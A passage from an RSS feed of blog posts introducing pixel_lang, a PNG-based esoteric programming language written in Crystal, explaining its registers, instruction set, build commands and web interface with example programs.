<p>Then we just need to come up with an interesting layout. I had to specifically be aware of the OutputChar L, because it&#39;s used three times, and I need to go a different route each time.</p>
<center>
<img src="/images/pixellang/twistyturny.gif" style="width: 100%; height: 100%;">
</center>
<p>I often times use Jump to allow a single directional line of code have multiple meanings.</p>
<p>For example, take this program, which only hits the pink spaces one way, and the yellow spaces other. This programs runs indefinitely.</p>
<center>
<img src="/images/pixellang/jumpexample.gif" style="width: 100%; height: 100%;">
</center>
<h3>Insert</h3>
<p>Insert is instruction number 0x8, and it&#39;s 20bit argument is stacked onto the I stack of any Piston that executes it. It&#39;s used to introduce constants into your program.</p>
<h3>Move</h3>
<p>Move is an instruction which takes two register arguments, and moves the value from the source to the destination. When specifying a register, you also need to specify a register option which can change how the register is interacted with.</p>
<p>For example, a MOV(MA(0) -&gt; MB(0)) will move the value in MA into MB, where MOV(MA(1) -&gt; MB(0)) will move a random value where MA is the max of that number, and move it into MB.</p>
<p>Another good example would be MOV(I(0) -&gt; MA(0)) which pops a value off I and puts it into MA, and MOV(I(2) -&gt; MA(0)) which only peeks the value.</p>
<p>Register options can be very useful!</p>
<p>Let&#39;s give Move a try.</p>
<center>
<img src="/images/pixellang/moveexample.gif" style="width: 100%; height: 100%;">
</center>
<p>In the program above, 100, 200, and then 300 are placed on the I stack using Insert, then moved to output using MOV(I(0) -&gt; O(0)), and a space is added between. We can see when the I stack runs out, it always returns 0 if there is no engine input to consume.</p>
<p>MOV can also be used with register options to change register behaviour. For example, if MA is equal to 1234 and MOV(MA(1) -&gt; O(0)) is called, output will be a random number between 0 and 1234. Reading from I(2) doesn&#39;t pull the item off the I stack, while I(0) does.</p>
<p>Move also has two other options, swap and reverse. Swap swaps the values of two registers. The order it does that is very important, since register reads can trigger changes (like I or O for example). When swapping values, the source value is gotten first, then the destination value, then the source is set first, then the destination is set. This is important to understand especially when using the instruction MOV(I(0) -&gt; I(0)), which will swap the top two values on the I stack.</p>
<p>You can also reverse the source and destination, this option isn&#39;t particularly useful, it&#39;s just to allow for more interesting colors to be made.</p>
<h3>Arithmetic</h3>
<p>One of my favorite instructions, Arithmetic allows you to build simple mathematical expressions. Arithmetic takes two source registers, an operation, and a destination register. Here are some examples.</p>
<center>
<img src="/images/pixellang/8.png" style="width: 100%; height: 100%;">
</center>
<p>Here&#39;s a list of all the mathematical operators available.</p>
<pre class="code-block"><code>BOOLEAN_OPERATIONS = [:&amp;lt;, :&amp;gt;, :&amp;lt;=, :&amp;gt;=, :==, :!=]
ARITHMETIC_OPERATIONS = [:+, :-, :*, :/, :**, :&amp;, :|, :^, :%]</code></pre>
<p>Using this instruction we can easily make a program to add 100 to an input number.</p>
<p>The program itself only needs 4 instructions. Start, Insert(100), AR(I(0) + I(0) -&gt; O(0)), and End.</p>
<p>When running the program, you need to include an input number into the Engine before starting or it will always display 100, since I always deafults to 0 when there is no input.</p>
<center>
<img src="/images/pixellang/9.png" style="width: 100%; height: 100%;">
</center>
<h3>Conditional</h3>
<p>Conditional allows pistons to make decisions on where they will go, based on a mathematical expression. You choose two directions, a true direction, and a false direction, and if the mathematical expression evaluates to 0 it goes the false direction, otherwise the true direction.</p>
<p>Boolean operators always produce either a 0 (false), or a 1 (true).</p>
<p>Conditional lets us create decisions and loops that will be the basic building blocks of our programs.</p>
<p>To show off what the Conditional can do, we are going to make a &quot;count to&quot; program which will take a number, and count up to that number.</p>
<center>
<img src="/images/pixellang/conditionalexample.gif" style="width: 100%; height: 100%;">
</center>
<p>In this example, the value of MB is always 1. We use that to increment MA each loop, and use the beige instruction (a Conditional) to determine if we have hit our max number yet. If not, we output the number, output a space, and start over again. Interesting note, Start instructions operate as Direction instructions when executed by a Piston. This allows us to restart programs easily if necessary.</p>
<h2>Call/Return</h2>
<p>These two instructions work in tandem to allow a Piston to return to a previous state, and choose what it takes along with it. Call and Return can be some of the most powerful instructions if used right.</p>
<p>Call takes a couple arguments, the first being an action, which is either :none, :push, :none_run, :push_run. This determines behavior of the Piston after running the Call, if it should push it&#39;s current frame to stack, or not, or if it should step once after the Call. For example, the none option does not push a frame to the call stack, where push does.</p>
<p>Call also takes a signed X and Y argument.</p>
<p>Call moves the Piston X and Y spaces away from the Call instructions. This is all relative spacing, there is no absolute values for Call.</p>
<p>When a Return instruction is read by a Piston, it checks to see if there is a frame on it&#39;s call stack. If there is a frame, the Return instruction chooses what values to copy back to the piston, for example, you can choose to restore the X position but not the Y, the direction, you can choose to keep MA the same, or restore it from the frame, that sort of thing. If there is no frame on the call stack, Return does nothing.</p>
<p>Return has a lot of arguments, a full list from the color_helper dev module:</p>
<pre class="code-block"><code>Return Instruction
Returns a frame from the call stack.
0bCCCC00000000PPABSIIMMXYD
C = Control Code (Instruction) [4 bits]
P = Action bits [:pop, :peek, :pop_push, :peek_push]
A = Copy MA?
B = Copy MB?
S = Copy S?
I = Copy I action? [:keep, :restore, :clear]
M = Copy memory action? [:keep, :restore, :clear]
X = Jump back to X?
Y = Jump back to Y?
D = Change the direction?</code></pre>
<p>First, the action specifies whether or not a frame should peeked, or popped off the call stack and/or if the current frame of the Piston should be added back to the call stack.</p>
<p>Next, should we copy MA, MB, S, X, Y, etc?</p>
<p>Lastly, I and Memory (since they are collections) both have special operations. Whether or not we should keep them, restore the frame&#39;s version, or clear altogether. When using :clear, even if there is nothing on the call stack, that item will still be cleared.</p>
<p>Again Return is super powerful, with it, we can set up all sorts of interesting interactions with the program code.</p>
<h3>Fork</h3>
<p>Fork is used to make exact duplicates of Pistons, facing in different (or the same) directions. One Fork instruction can make up to 4 new pistons. The original piston always follows direction #1, and each piston created afterwards executes after the last one created. Imagine two pistons one the same space that hit a fork instruction. Let&#39;s call them P1 and P2, after their priority numbers. P1 creates a new Piston, sandwiched between it and P2 in the execution order, while P2&#39;s created clone will be below it in the execution order.</p>
<p>Here is an example program I wrote to test the limits of Fork (like how many times can you fork before the program crashes).</p>
<center>
<img src="/images/pixellang/forkexample.gif" style="width: 100%; height: 100%;">
</center>
<p>I also use Fork in my Ackermann implementation, since it&#39;s perfect for the job of expansion!</p>
<h3>InstructionMeta</h3>
<p>InstructionMeta is an instruction that houses four other functions, Get, Set, Resize, and Property.</p>
<p>Get allows a Piston to get the value of a color located at the X and Y values specified by two registers. Puts the control code, then the control value on the I stack.</p>
<p>Set allows a Piston to set the value of a color located at the X and Y values specified by two registers, to the value located on the I Stack. Since the I stack can only hold values up to 0xFFFFF, the I stack is read twice and the values bitshifted and combined to for the color. For example, if 0xBBBBB then 0xA were on the I stack, the color would be 0xABBBBBB.</p>
<p>Resize allows a piston to resize the instructions width and height.</p>
<p>Property allows a Piston to get the width and height of the instruction set.</p>
<p>Using these instructions, we can modify the instructions on the board! Here is an example program, a painter bot.</p>
<center>
<img src="/images/pixellang/painter.gif" style="width: 100%; height: 100%;">
</center>
<p>The program above uses two pistons. One goes in a loop and counts up from 0 to the width of the &quot;drawing canvas&quot;. The other piston reads the IMetaSet instructions, and executes them, changing the current square they are on, then moving to another. This gives the effect of a bot painting the ground behind it.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/pixellang/">pixel_lang</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-06</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Crystal</strong> (<em>Languages</em>) &bull; 8 years &mdash; A fast, compiled, statically typed language with Ruby-inspired syntax. [<a href="https://crystal-lang.org">Website</a> | <a href="https://github.com/crystal-lang/crystal">Github</a>]</li>
    <li><strong>Esoteric Programming</strong> (<em>Languages</em>) &bull; 3 years &mdash; Designing non-traditional programming languages to test boundaries of language design and visual computing. [<a href="https://en.wikipedia.org/wiki/Esoteric_programming_language">Wikipedia</a>]</li>
    <li><strong>Generative Art</strong> (<em>Design &amp; Art</em>) &bull; 5 years &mdash; Algorithmic generation of visual artwork, procedural textures, vector SVG patterns, and game graphics. [<a href="https://en.wikipedia.org/wiki/Generative_art">Wikipedia</a>]</li>
    <li><strong>Raylib</strong> (<em>Libraries &amp; Frameworks</em>) &bull; 5 years &mdash; A simple and easy-to-use C library to enjoy videogames programming. [<a href="https://www.raylib.com">Website</a> | <a href="https://github.com/raysan5/raylib">Github</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[pixel_lang] Intro</title>
      <link>https://sol.vin/pixellang/0.html</link>
      <guid isPermaLink="true">https://sol.vin/pixellang/0.html</guid>
      <pubDate>Thu, 05 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-05</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">pixel_lang</category>
      <category domain="skill">Crystal</category>
      <category domain="skill-slug">crystal</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Crystal</dc:subject>
      <category domain="skill">Esoteric Programming</category>
      <category domain="skill-slug">esoteric_programming</category>
      <category domain="skill-category">Languages</category>
      <dc:subject>Esoteric Programming</dc:subject>
      <category domain="skill">Generative Art</category>
      <category domain="skill-slug">generative_art</category>
      <category domain="skill-category">Design &amp; Art</category>
      <dc:subject>Generative Art</dc:subject>
      <category domain="skill">Raylib</category>
      <category domain="skill-slug">raylib</category>
      <category domain="skill-category">Libraries &amp; Frameworks</category>
      <dc:subject>Raylib</dc:subject>
      <media:content url="https://sol.vin/images/pixellang/ackermann.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/1.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/2.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/primesieve.gif" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/3.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/5.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/6.png" medium="image" />
      <media:content url="https://sol.vin/images/pixellang/7.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/pixellang/ackermann.gif" />
      <description><![CDATA[<p>Today I&#39;m really excited to start a new series on pixel_lang, a pixel-based 2D esoteric language I wrote myself in Crystal. I&#39;ve always really loved esoteric languages, and they can teach us a lot about programming. I enjoy the aspect of honing one&#39;s programming chops, and esoteric languages are filled with all sorts of interesting challenges. My goal in writing an esoteric language was to make a language with a large instruction set, that could be used to make art, programs, or some combination of the two.</p>
<center>
<img src="/images/pixellang/ackermann.gif" style="width: 100%; height: 100%;">
</center>
<p>You can find all project files located on the <a href="https://github.com/sol-vin/pixel_lang_crystal">GitHub</a>.</p>
<p>The purpose of this article, is to give a basic introduction on how to use the <a href="https://github.com/sol-vin/pixel_lang_crystal">pixel_lang</a> interpreter, as well as the web interface, to load and run programs, as well as a basic explanation of how the system works.</p>
<p>The <a href="https://github.com/sol-vin/pixel_lang_crystal">pixel_lang</a> interpreter takes an input PNG file, and uses that as it&#39;s program code. Each pixel in the PNG is read in, and stored into a 2D array of instructions. Any and all PNG files are valid program code and can be used with the interpreter without error but, may not start without the presence of a Start instruction, or will run infinitely. A program can be given input, either by providing an input string argument, or via the live interactive session (yet to be written). This interpreter is called the <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/engine.cr">Engine</a>.</p>
<p><a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/engine.cr">Engines</a> are comprised of a variable number of <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a>. These <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> act as separate instruction readers and act mostly independently of each other, save for a few exceptions. The starting number of <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> is determined by a program code&#39;s number of Start instructions. The <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> then each take turns, reading an instruction, executing it, and moving one step forward in the direction it&#39;s facing. When all <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> have run an instruction, that is called a cycle. The instruction type (known as a Control Code or CC) is determined by the upper 4 bits of the color of the pixel, the arguments for the instruction (known as the Control Value or CV) are the bottom 20 bits of the pixel&#39;s color.</p>
<p>The full instruction list is as follows.</p>
<ul>
  <li>0x0 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/00_end.cr">End</a></li>
  <li>0x1 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/01_start.cr">Start</a></li>
  <li>0x2 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/02_pause.cr">Pause</a></li>
  <li>0x3 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/03_direction.cr">Direction</a></li>
  <li>0x4 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/04_fork.cr">Fork</a></li>
  <li>0x5 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/05_jump.cr">Jump</a></li>
  <li>0x6 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/06_call.cr">Call</a></li>
  <li>0x7 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/07_return.cr">Return</a></li>
  <li>0x8 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/08_insert.cr">Insert</a></li>
  <li>0x9 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/09_move.cr">Move</a></li>
  <li>0xA - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/10_arithmetic.cr">Arithmetic</a></li>
  <li>0xB - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/11_output_char.cr">Output Char</a></li>
  <li>0xC - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/12_conditional.cr">Conditional</a></li>
  <li>0xD - <a href="https://github.com/sol-vin/pixel_lang_crystal/tree/master/src/pixel_lang_crystal/dev/helpers/color_docs/13_instruction_meta">Instruction Meta</a></li>
  <li>0xE - <a href="https://github.com/sol-vin/pixel_lang_crystal/tree/master/src/pixel_lang_crystal/dev/helpers/color_docs/14_engine_meta">Engine Meta</a></li>
  <li>0xF - Blank</li>
</ul>
<p>Some example instructions 0xA00000 - Arithmetic(MA(0) + MA(0) -&gt; MA(0)) 0x100100 - Start(direction: up, priority: 0x100) 0x200010 - Pause(for 0x10 cycles)</p>
<p>A Piston is deleted when it reads an End instruction, and when an Engine has no more Pistons, it is no longer running.</p>
<p>Each Piston keeps track of a couple of things, it&#39;s current location, the values within it&#39;s own registers and memory, and a call stack (used with Call Return). The Piston has a total of 8 registers, which each hold a 20 bit integer, and each have special properties when read.</p>
<p>The MA register is one of the simpler registers, it takes a value that is written to it, and when read from provides the last value written to it. The default value of this register is always 0x0.</p>
<p>The MAV register is a little different. MAV is controlled by the MA register and when read from, provides the value in the Piston&#39;s memory at the location provided by MA. When written to it changes that memory&#39;s value. An uninitialized memory cell is always 0x0.</p>
<p>For example, if you wrote 0 to the MA register, then read from MAV you&#39;d get 0. If you wrote 1 to the MA register and then read from MAV you&#39;d get 0. If you wrote 333 to the MAV register and read from MAV you&#39;d get 333. If you wrote 0 to the MA register, then read from the MAV register, you&#39;d get 0 again.</p>
<p>The next two registers MB and MBV operate the same as MA and MAV, they even use the same memory pool, so if MA is equal to MB then MAV is always equal to MBV. MA and MB can both be used to reference two different values in the same Piston&#39;s memory. The MB register&#39;s default is 1.</p>
<p>The next two registers are S and SV which work similar to MA and MAV except the memory pool they use is static, meaning all pistons can access this to communicate with each other.</p>
<p>Next we have the I register, which acts like a stack. If written to, it adds a new value to the stack, when read from it pops from the stack. You can choose also to peek this register instead, keeping the value on the top of the stack.</p>
<p>Lastly we have the O register, which is an output register. When read from, it provides the last character that was output from any piston, when set, writes the value to output.</p>
<p>When pistons move off the edge of the program space, it appears on the other side, asteroids style.</p>
<p>That&#39;s really all there is to the internals of the interpreter, the rest is pretty easy.</p>
<p>There are two ways to interact with programs right now, there is the runner, and the web interface. I&#39;d highly recommend using the web interface, it&#39;s not bad to use, runs pretty smoothly, and allows you to watch the programs execute step by step.</p>
<p>To build the runner use <code>shards build runner</code></p>
<p>You can then run any program using <code>./bin/runner program_file &quot;input text!!!!!&quot;</code></p>
<p>You can run the web app by using <code>shards build web_app &amp;&amp; ./bin/web_app</code></p>
<p>We will primarily focus on the web_app, as it is a lot easier to work with than the runner.</p>
<center>
<img src="/images/pixellang/1.png" style="width: 100%; height: 100%;">
</center>
<p>You can create a new Engine with a program loaded using the bottom box on the home page, You must specify a name, and a program. When you open up a program it should look like below.</p>
<center>
<img src="/images/pixellang/2.png" style="width: 100%; height: 100%;">
</center>
<p>Pressing play will start an animation of the execution, showing the pistons moving and doing their work.</p>
<center>
<img src="/images/pixellang/primesieve.gif" style="width: 100%; height: 100%;">
</center>
<p>The above program is the prime sieve of Eratosthenes, which is a special way to filter prime numbers.</p>
<p>My other pride and joy program is the Ackermann function, I highly suggest checking it out.</p>
<p>If you want to write your own programs, any picture editor will do, as long as it supports hex color input (like #AABBCC). Pictures should be saved as PNG. To add them to the web interface, navigate to pixel_lang_crystal/programs and put your files in there, and then restart the web_app. I suggest Aseprite to edit any programs, as it has a useful palette feature to rip all the unique colors out of a picture.</p>
<p>The system also has a special way of helping make colors for you. For this, I would highly recommend opening crystal play in the pixel_lang_crystal directory and using that.</p>
<center>
<img src="/images/pixellang/3.png" style="width: 100%; height: 100%;">
</center>
<h2>Basic Instructions</h2>
<p>In this segment, we will cover some basic instructions, enough to make our own first Hello World program.</p>
<h3>Start</h3>
<p>The Start instruction is used to place pistons when starting the program. Each Start instruction can contain two arguments, what direction the Start is facing (up, down, left, right), and the priority, which describes in what order the pistons all run in. A piston with a priority of 0 runs before a piston with priority 100.</p>
<h3>End</h3>
<p>The End instruction removes a piston from the program space. If all pistons are gone off of the program space, the program has ended. Without an End instruction, a program will run indefinitely. End takes no arguments.</p>
<h3>Direction</h3>
<p>Direction changes the current direction the piston is going to one of 8, stored in it&#39;s arguments.</p>
<ul>
  <li>Up</li>
  <li>Down</li>
  <li>Left</li>
  <li>Right</li>
  <li>Turn Left</li>
  <li>Turn Right</li>
  <li>Reverse</li>
  <li>Straight (No operation)</li>
</ul>
<h3>Jump</h3>
<p>Jump moves a piston in the direction it&#39;s facing, a number of spaces determined by it&#39;s argument. (0x0 - 0xFFFFF).</p>
<p>For example, Jump 0 jumps only one space, Jump 1 jumps 2 spaces, etc etc.</p>
<p>Jumps that jump a piston off the program space wrap the piston back around.</p>
<h3>OutputChar</h3>
<p>Outputs the char defined in the arguments. For example, OutputChar H would be 0xB00048.</p>
<h3>Putting it all together</h3>
<p>Now we have all the instructions we need to try a Hello World program! Let&#39;s put them all together.</p>
<p>The only three instructions we need are Start, End, and OutputChar. We can use crystal play to mix all our colors for us.</p>
<center>
<img src="/images/pixellang/5.png" style="width: 100%; height: 100%;">
</center>
<p>Next we just need to put them all into a PNG, open up your favorite pixel art editor and let&#39;s go!</p>
<center>
<img src="/images/pixellang/6.png" style="width: 100%; height: 100%;">
</center>
<p>If we open up the file and play it in the web app, we can see the output works!</p>
<center>
<img src="/images/pixellang/7.png" style="width: 100%; height: 100%;">
</center>
]]></description>
      <content:encoded><![CDATA[<p>Today I&#39;m really excited to start a new series on pixel_lang, a pixel-based 2D esoteric language I wrote myself in Crystal. I&#39;ve always really loved esoteric languages, and they can teach us a lot about programming. I enjoy the aspect of honing one&#39;s programming chops, and esoteric languages are filled with all sorts of interesting challenges. My goal in writing an esoteric language was to make a language with a large instruction set, that could be used to make art, programs, or some combination of the two.</p>
<center>
<img src="/images/pixellang/ackermann.gif" style="width: 100%; height: 100%;">
</center>
<p>You can find all project files located on the <a href="https://github.com/sol-vin/pixel_lang_crystal">GitHub</a>.</p>
<p>The purpose of this article, is to give a basic introduction on how to use the <a href="https://github.com/sol-vin/pixel_lang_crystal">pixel_lang</a> interpreter, as well as the web interface, to load and run programs, as well as a basic explanation of how the system works.</p>
<p>The <a href="https://github.com/sol-vin/pixel_lang_crystal">pixel_lang</a> interpreter takes an input PNG file, and uses that as it&#39;s program code. Each pixel in the PNG is read in, and stored into a 2D array of instructions. Any and all PNG files are valid program code and can be used with the interpreter without error but, may not start without the presence of a Start instruction, or will run infinitely. A program can be given input, either by providing an input string argument, or via the live interactive session (yet to be written). This interpreter is called the <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/engine.cr">Engine</a>.</p>
<p><a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/engine.cr">Engines</a> are comprised of a variable number of <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a>. These <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> act as separate instruction readers and act mostly independently of each other, save for a few exceptions. The starting number of <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> is determined by a program code&#39;s number of Start instructions. The <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> then each take turns, reading an instruction, executing it, and moving one step forward in the direction it&#39;s facing. When all <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/piston.cr">pistons</a> have run an instruction, that is called a cycle. The instruction type (known as a Control Code or CC) is determined by the upper 4 bits of the color of the pixel, the arguments for the instruction (known as the Control Value or CV) are the bottom 20 bits of the pixel&#39;s color.</p>
<p>The full instruction list is as follows.</p>
<ul>
  <li>0x0 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/00_end.cr">End</a></li>
  <li>0x1 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/01_start.cr">Start</a></li>
  <li>0x2 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/02_pause.cr">Pause</a></li>
  <li>0x3 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/03_direction.cr">Direction</a></li>
  <li>0x4 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/04_fork.cr">Fork</a></li>
  <li>0x5 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/05_jump.cr">Jump</a></li>
  <li>0x6 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/06_call.cr">Call</a></li>
  <li>0x7 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/07_return.cr">Return</a></li>
  <li>0x8 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/08_insert.cr">Insert</a></li>
  <li>0x9 - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/09_move.cr">Move</a></li>
  <li>0xA - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/10_arithmetic.cr">Arithmetic</a></li>
  <li>0xB - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/11_output_char.cr">Output Char</a></li>
  <li>0xC - <a href="https://github.com/sol-vin/pixel_lang_crystal/blob/master/src/pixel_lang_crystal/dev/helpers/color_docs/12_conditional.cr">Conditional</a></li>
  <li>0xD - <a href="https://github.com/sol-vin/pixel_lang_crystal/tree/master/src/pixel_lang_crystal/dev/helpers/color_docs/13_instruction_meta">Instruction Meta</a></li>
  <li>0xE - <a href="https://github.com/sol-vin/pixel_lang_crystal/tree/master/src/pixel_lang_crystal/dev/helpers/color_docs/14_engine_meta">Engine Meta</a></li>
  <li>0xF - Blank</li>
</ul>
<p>Some example instructions 0xA00000 - Arithmetic(MA(0) + MA(0) -&gt; MA(0)) 0x100100 - Start(direction: up, priority: 0x100) 0x200010 - Pause(for 0x10 cycles)</p>
<p>A Piston is deleted when it reads an End instruction, and when an Engine has no more Pistons, it is no longer running.</p>
<p>Each Piston keeps track of a couple of things, it&#39;s current location, the values within it&#39;s own registers and memory, and a call stack (used with Call Return). The Piston has a total of 8 registers, which each hold a 20 bit integer, and each have special properties when read.</p>
<p>The MA register is one of the simpler registers, it takes a value that is written to it, and when read from provides the last value written to it. The default value of this register is always 0x0.</p>
<p>The MAV register is a little different. MAV is controlled by the MA register and when read from, provides the value in the Piston&#39;s memory at the location provided by MA. When written to it changes that memory&#39;s value. An uninitialized memory cell is always 0x0.</p>
<p>For example, if you wrote 0 to the MA register, then read from MAV you&#39;d get 0. If you wrote 1 to the MA register and then read from MAV you&#39;d get 0. If you wrote 333 to the MAV register and read from MAV you&#39;d get 333. If you wrote 0 to the MA register, then read from the MAV register, you&#39;d get 0 again.</p>
<p>The next two registers MB and MBV operate the same as MA and MAV, they even use the same memory pool, so if MA is equal to MB then MAV is always equal to MBV. MA and MB can both be used to reference two different values in the same Piston&#39;s memory. The MB register&#39;s default is 1.</p>
<p>The next two registers are S and SV which work similar to MA and MAV except the memory pool they use is static, meaning all pistons can access this to communicate with each other.</p>
<p>Next we have the I register, which acts like a stack. If written to, it adds a new value to the stack, when read from it pops from the stack. You can choose also to peek this register instead, keeping the value on the top of the stack.</p>
<p>Lastly we have the O register, which is an output register. When read from, it provides the last character that was output from any piston, when set, writes the value to output.</p>
<p>When pistons move off the edge of the program space, it appears on the other side, asteroids style.</p>
<p>That&#39;s really all there is to the internals of the interpreter, the rest is pretty easy.</p>
<p>There are two ways to interact with programs right now, there is the runner, and the web interface. I&#39;d highly recommend using the web interface, it&#39;s not bad to use, runs pretty smoothly, and allows you to watch the programs execute step by step.</p>
<p>To build the runner use <code>shards build runner</code></p>
<p>You can then run any program using <code>./bin/runner program_file &quot;input text!!!!!&quot;</code></p>
<p>You can run the web app by using <code>shards build web_app &amp;&amp; ./bin/web_app</code></p>
<p>We will primarily focus on the web_app, as it is a lot easier to work with than the runner.</p>
<center>
<img src="/images/pixellang/1.png" style="width: 100%; height: 100%;">
</center>
<p>You can create a new Engine with a program loaded using the bottom box on the home page, You must specify a name, and a program. When you open up a program it should look like below.</p>
<center>
<img src="/images/pixellang/2.png" style="width: 100%; height: 100%;">
</center>
<p>Pressing play will start an animation of the execution, showing the pistons moving and doing their work.</p>
<center>
<img src="/images/pixellang/primesieve.gif" style="width: 100%; height: 100%;">
</center>
<p>The above program is the prime sieve of Eratosthenes, which is a special way to filter prime numbers.</p>
<p>My other pride and joy program is the Ackermann function, I highly suggest checking it out.</p>
<p>If you want to write your own programs, any picture editor will do, as long as it supports hex color input (like #AABBCC). Pictures should be saved as PNG. To add them to the web interface, navigate to pixel_lang_crystal/programs and put your files in there, and then restart the web_app. I suggest Aseprite to edit any programs, as it has a useful palette feature to rip all the unique colors out of a picture.</p>
<p>The system also has a special way of helping make colors for you. For this, I would highly recommend opening crystal play in the pixel_lang_crystal directory and using that.</p>
<center>
<img src="/images/pixellang/3.png" style="width: 100%; height: 100%;">
</center>
<h2>Basic Instructions</h2>
<p>In this segment, we will cover some basic instructions, enough to make our own first Hello World program.</p>
<h3>Start</h3>
<p>The Start instruction is used to place pistons when starting the program. Each Start instruction can contain two arguments, what direction the Start is facing (up, down, left, right), and the priority, which describes in what order the pistons all run in. A piston with a priority of 0 runs before a piston with priority 100.</p>
<h3>End</h3>
<p>The End instruction removes a piston from the program space. If all pistons are gone off of the program space, the program has ended. Without an End instruction, a program will run indefinitely. End takes no arguments.</p>
<h3>Direction</h3>
<p>Direction changes the current direction the piston is going to one of 8, stored in it&#39;s arguments.</p>
<ul>
  <li>Up</li>
  <li>Down</li>
  <li>Left</li>
  <li>Right</li>
  <li>Turn Left</li>
  <li>Turn Right</li>
  <li>Reverse</li>
  <li>Straight (No operation)</li>
</ul>
<h3>Jump</h3>
<p>Jump moves a piston in the direction it&#39;s facing, a number of spaces determined by it&#39;s argument. (0x0 - 0xFFFFF).</p>
<p>For example, Jump 0 jumps only one space, Jump 1 jumps 2 spaces, etc etc.</p>
<p>Jumps that jump a piston off the program space wrap the piston back around.</p>
<h3>OutputChar</h3>
<p>Outputs the char defined in the arguments. For example, OutputChar H would be 0xB00048.</p>
<h3>Putting it all together</h3>
